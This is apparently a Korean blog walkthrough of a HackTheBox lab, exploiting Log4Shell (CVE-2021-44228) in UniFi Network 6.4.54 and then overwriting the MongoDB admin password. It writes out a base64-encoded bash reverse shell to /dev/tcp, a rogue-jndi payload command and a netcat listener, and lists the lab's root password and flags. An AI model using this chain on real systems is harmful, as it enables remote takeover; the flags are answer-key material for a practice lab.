TASK 1
Which are the first four open ports?
답 : 22, 6789, 8080, 8443
TASK 2
What is the title of the software that is running running on port 8443?
답 : UniFi Network
TASK 3
What is the version of the software that is running?
답 : 6.4.54
TASK 4
What is the CVE for the identified vulnerability?
꽤 유명한 취약점인가 보다.
https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi
java의 로깅 라이브러리인 Log4j에 대해 공객된 취약점이다.
답 : CVE-2021-44228
취약점은 remember에 존재한다.
취약점을 테스트하기 위해 tcpdump를 이용하자.
이 취약점은 Java JNDI API를 악용기 위해 LDAP 및 HTTP서버를 이용한다.
LDAP의 port번호 : 389
TASK 5
What protocol does JNDI leverage in the injection?
답 : LDAP
TASK 6
What tool do we use to intercept the traffic, indicating the attack was successful?
답 : tcpdump
TASK 7
What port do we need to inspect intercepted traffic for?
답 : 389
먼저 로컬 머신에 Apache Maven과 java가 설치되어 있어야 한다.
jdk설치
sudo apt install openjdk-11-jdk -y
maven설치
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package
Jar가 컴파일되면 리버스 셸을 전달하는 명령을 만들어야 한다.
echo 'bash -c bash -i >&/dev/tcp/{MY_IP}/{MY_PORT} 0>&1' | base64
위에서 만든 base64 값을 rogue-jdni에서 명령을 사용하여 빌드한다.
java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,{위에서 만든 base64 값}}|{base64,-d}|{bash,-i}" --hostname "{MY_IP}"
netcat을 열어주고
burp suite으로 가서 send를 눌러준다.
아래 한 줄 이 추가된 것을 볼 수 있다.
그리고 nc를 보면
connect가 뜨면서 연결된 것을 확인할 수 있다.
TASK 8
What port is the MongoDB service running on?
답 : 27117
TASK 9
What is the default database name for UniFi applications?
답 : ace
TASK 10
What is the function we use to enumerate users within the database in MongoDB?
답 : db.admin.find()
관리자 계정에 대한 정보가 나와있다.
TASK 11
What is the function we use to update users within the database in MongoDB?
db.admin.update()명령으로 관리자 계정의 password를 변경할 수 있다.
먼저 변경할 password를 정해주자. (password : hello)
답 : db.admin.update()
이제 관리자 권한으로 접속해 보자.
TASK 12
What is the password for the root user?
답 : NotACrackablePassword4U2022
SUBMIT FLAG
Submit user flag
답 : 6ced1a6a89e666c0620cdb10262ba127
SUBMIT FLAG
Submit root flag
답 : e50bc93c75b634e4b272d2f771c33681
'HackTheBox' 카테고리의 다른 글
[HTB] Vaccine (0) | 2023.03.25 |
---|---|
[HTB] Oopsie (0) | 2023.03.23 |
[HTB] ArcheType (0) | 2023.03.23 |
[HTB] Tactics (0) | 2023.03.22 |
[HTB] Pennyworth (0) | 2023.03.22 |